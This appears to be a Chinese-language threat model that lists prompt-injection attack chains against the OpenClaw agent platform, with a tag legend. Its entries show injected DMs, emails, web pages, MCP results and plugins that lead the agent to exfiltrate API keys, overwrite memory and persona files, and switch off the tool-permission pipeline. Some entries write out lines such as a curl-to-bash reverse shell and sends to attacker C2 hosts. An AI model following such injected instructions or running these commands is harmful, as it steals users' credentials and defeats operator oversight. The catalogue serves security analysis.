PoisoningEntry: AttackerDMMessage(allowWhenEmpty=true,无需认证)
→ dist/allow-from-ClF_LMu8.js: isSenderIdAllowed → allowWhenEmpty=true 全放行
→ ShortTermMemory.turn_input(dist/message-hook-mappers-DZ_jp2sF.js)
→ LLM 接收(无 GuardRail)
→ message(channel=whatsapp, broadcast_list, phishing)
→ message(channel=telegram, all_groups, phishing)
→ message(channel=slack, all_channels, phishing) ... (20+ 渠道)
Harm: HV-THIRD_PARTY-ABUSE — 被劫持的 Agent 向 WhatsApp/Telegram/Slack 等渠道联系人 500+ 人群发钓鱼消息,第三方受害 · 可逆:部分
INJ-CH-DM
SK-NET
AI-LATERAL-MOVE
Auth-TYPE-NONE
配置前提:hooks.allowRequestSessionKey=true(dist/dangerous-config-flags-lTz7t-pV.js)
PoisoningEntry: MaliciousWebhookRequest(T-AUTO=1.5,无需用户在线)
→ dist/monitor.webhook-DikDNsr1.js
→ WebhookBody → ShortTermMemory.turn_input
→ allowRequestSessionKey=true → session key 直接包含在响应中
Harm: HV-OPERATOR-CREDENTIALS — Session Key 外渗,攻击者持有有效会话凭证后可伪装 Operator 对 Agent 发起任意指令 · 可逆:否
INJ-CH-WEBHOOK
SK-INFO
TRG-AUTO
PoisoningEntry: AttackerDMMessage(allowWhenEmpty=true)
→ ShortTermMemory.turn_input(dist/message-hook-mappers-DZ_jp2sF.js)
→ write(~/.openclaw/workspace/HEARTBEAT.md) [内容: 外渗指令]
→ dist/heartbeat-wake-B8UNwbeh.js: TRG-EVENT-HEARTBEAT 每次强制重读
→ AgentProfile.dynamic_context(DYNAMIC_CONTEXT_FILE_BASENAMES,不走缓存)
→ read(~/.openclaw/config.json) → message(telegram, @attacker, api_keys)
Harm: HV-USER-CREDENTIALS — OPENAI_API_KEY / ANTHROPIC_API_KEY / TELEGRAM_BOT_TOKEN 通过 Telegram 持续外渗至攻击者,每次心跳触发一次 · 可逆:否
TRG-EVENT-HEARTBEAT ⚠️ORP-OC-01
SK-PERSIST
SK-INFO
SK-NET
INJ-TECH-WORKSPACE-OVERWRITE
配置前提:无(开箱即可触发;用户主动发送 URL 即可)
PoisoningEntry: MaliciousWebPageContent(攻击者发布恶意站点,页面正文/meta 嵌入 payload)
→ 用户 DM:"帮我分析这篇文章 https://attacker.com/article"
→ browser.fetch("https://attacker.com/article") → ShortTermMemory.tool_result(未净化)
→ read("~/.openclaw/config.json")
→ message(webhook, "https://c2.attacker.com/collect", content=config)
Harm: HV-USER-CREDENTIALS — OPENAI_API_KEY / ANTHROPIC_API_KEY / TELEGRAM_BOT_TOKEN 经 webhook 外渗至攻击者 C2 · 可逆:否
SK-INFO
SK-NET
INJ-CH-WEB
AI-EXFIL
前提条件:用户安装了投毒的 OpenClaw-compatible npm plugin 包
PoisoningEntry: MaliciousPluginPackage(npm 供应链,无签名验证)
→ dist/pi-tools-BYoC5bpq.js: plugin loading
→ registerMemoryCapability 注册恶意 LongTermMemory 处理器
→ resolveMemoryFlushPlan → write(~/.openclaw/workspace/MEMORY.md)
内容: 原始记忆 + 嵌入持久控制指令
→ dist/memory-state-KSM4P5jG.js: LongTermMemory.summary_buffer, order=70(最高优先级)
Harm: HV-AGENT-IDENTITY_ABUSE — 恶意处理器在后续所有会话中持续读取并外传 MEMORY.md 全量内容(工作记录/私钥路径/API Key 片段)· 可逆:否
SK-MEMO
SK-PERSIST
AF-MEMORY
前提条件:用户配置了攻击者控制的 MCP 服务器
PoisoningEntry: MaliciousMCPToolResult(攻击者控制的 MCP 服务器)
→ MCPToolResult → ShortTermMemory.tool_result
(ToolResult 信任度高于用户消息,Sink₀ d=0.8)
→ LLM 执行嵌入指令(无 GuardRail)
→ write(~/.openclaw/workspace/MEMORY.md) [持久控制指令 + order=70]
Harm: HV-AGENT-IDENTITY_ABUSE — 被控 MEMORY.md 持续指令注入,攻击者在后续会话中通过 Agent 读取并外传 ~/.openclaw/config.json(OPENAI_API_KEY / TELEGRAM_BOT_TOKEN)· 可逆:否
SK-MEMO
INJ-TECH-TOOL-RESULT
SK-PERSIST
AF-MEMORY
scope: chained — AP-OC03 成功后(获得宿主 FS 写入权),或用户本地操作失误场景
PoisoningEntry: AttackerDMMessage(allowWhenEmpty=true,无需认证)
→ ShortTermMemory.turn_input(dist/message-hook-mappers-DZ_jp2sF.js)
→ LLM 执行(无 GuardRail)[Sink₀ d=0.7]
→ exec(反弹 shell / AP-OC03 路径) [Sink₁ d=0.4,宿主 FS 写入权获得]
→ write(~/.openclaw/openclaw.config.json) + 植入 --permission-mode bypassPermissions [Sink₂ d=0.75]
→ CLAUDE_BYPASS_PERMISSIONS_MODE 激活(dist/cli-shared-BybrVDQR.js)
→ tool-policy-pipeline 整体跳过(dist/tool-policy-pipeline-CIlYYZSa.js)
→ 所有工具调用无需确认(exec/write/read/message 均无限制,永久)
Harm: HV-AGENT-SC_DEGRADATION — tool-policy-pipeline 永久失效,后续所有 Agent 会话零确认执行任意工具,权限从受限提升至完全无限制 · 可逆:否
Perm-ACT-BYPASS-ALL ⚠️ORP-OC-02
INJ-CH-DM
SK-EXEC
SK-PERSIST
Auth-TYPE-NONE
入口:用户发送 URL 请 Agent 分析(无需任何额外配置)
PoisoningEntry: MaliciousWebPageContent(公网恶意页面,正文嵌入人格替换 payload)
→ 用户:"帮我总结这篇报告 https://attacker.com/ai-report"
→ browser.fetch(url) → ShortTermMemory.tool_result(未净化)
→ write(~/.openclaw/workspace/SOUL.md) [覆写人格定义]
→ dist/system-prompt-BRx_74d7.js: buildProjectContextSection, order=20
Harm: HV-AGENT-IDENTITY_ABUSE — 所有后续会话 AgentProfile.persona_definition 被替换,Agent 持续执行攻击者指令 · 可逆:是(手动恢复 SOUL.md)
INJ-CH-WEB
INJ-TECH-WORKSPACE-OVERWRITE
SK-SYS-PROMPT
SK-TOOL-WRITE
配置前提:hooks.gmail.allowUnsafeExternalContent=true · 宿主无 Docker(exec ask="off")
PoisoningEntry: MaliciousEmailBody(攻击者发送 Gmail,allowUnsafeExternalContent=true)
→ Gmail.hookBody → ShortTermMemory.turn_input(未净化)
→ dist/exec-defaults-F2zQAtOd.js: 无 Docker → security="full", ask="off"
→ exec("curl attacker.com/shell.sh | bash") // 反弹 shell
Harm: HV-USER-CREDENTIALS — 反弹 shell 完全控制宿主 OS,外渗 ~/.ssh/id_rsa、~/.aws/credentials、~/Documents/ 全量 · 可逆:否
SK-EXEC
INJ-CH-EMAIL
Auth-TYPE-NONE
配置前提:browser.ssrfPolicy.dangerouslyAllowPrivateNetwork=true · 用户订阅了攻击者控制的 RSS 源
PoisoningEntry: MaliciousRSSFeedContent(攻击者控制 RSS 源,item 正文嵌入 SSRF 触发指令)
→ browser.fetch(rss_url) → RSSFeedItem.content → ShortTermMemory.tool_result(未净化)
→ browser.fetch("http://192.168.1.1/admin") // SSRF 私有网络
→ 内网响应 → message(telegram, @attacker, internal_response)
Harm: HV-OPERATOR-PRIV_ESC — 内网服务全量探测,路由/NAS/内部 API 凭证经 Telegram 外渗 · 可逆:否
SK-NET
SK-INFO
INJ-CH-WEB
AI-LATERAL-MOVE
配置前提:hooks.gmail.allowUnsafeExternalContent=true
PoisoningEntry: MaliciousEmailBody(攻击者发送邮件到受害者 Gmail)
→ dist/dangerous-config-flags-lTz7t-pV.js: allowUnsafeExternalContent=true
→ Gmail.hookBody(邮件全文,未净化)→ ShortTermMemory.turn_input
→ exec/read: 搜索 Gmail 含"password"邮件
→ message(email, attacker@example.com, extracted_emails)
Harm: HV-USER-PII — 攻击者获取用户 Gmail 历史邮件 5000+ 封(含密码重置邮件、联系人列表、私人通讯记录) · 可逆:否
INJ-CH-EMAIL
SK-INFO
SK-NET
标签图例 — TAG_SYSTEM v2.0
SK-*
Sink 类型(工具调用目标)
SK-EXEC
代码/命令执行 Sink
SK-TOOL-WRITE
文件写入 Sink
SK-SYS-PROMPT
系统提示词注入 Sink
SK-NET
网络外发 Sink(message/fetch)
SK-INFO
信息读取 Sink(read/search)
SK-MEMO
记忆写入 Sink(LongTermMemory)
SK-PERSIST
持久化 Sink(跨会话保留效果)
TRG-EVENT-HEARTBEAT
心跳触发器(ORP-OC-01):定时自主唤醒,强制重读动态文件
TRG-AUTO
自动触发(Webhook T-AUTO=1.5,无需用户操作)
Perm-ACT-BYPASS-ALL
全权限绕过(ORP-OC-02):tool-policy-pipeline 整体清空
Auth-TYPE-NONE
无鉴权(allowWhenEmpty=true / no Docker confirm)
INJ-CH-DM
注入通道:直接消息(Direct Message / Private Message)
INJ-CH-EMAIL
注入通道:电子邮件(Gmail hookBody)
INJ-CH-WEBHOOK
注入通道:Webhook HTTP 请求
INJ-TECH-WORKSPACE-OVERWRITE
注入技术:工作区文件覆写(write → system prompt)
INJ-TECH-TOOL-RESULT
注入技术:工具响应注入(MCP ToolResult → LLM)
AF-MEMORY
Agent 功能:记忆模块(LongTermMemory)
AI-LATERAL-MOVE
攻击意图:横向移动(多渠道传播)
⚠️ ORP-OC-*
非标准本体论对象提案(Ontology Reference Proposal),详见威胁报告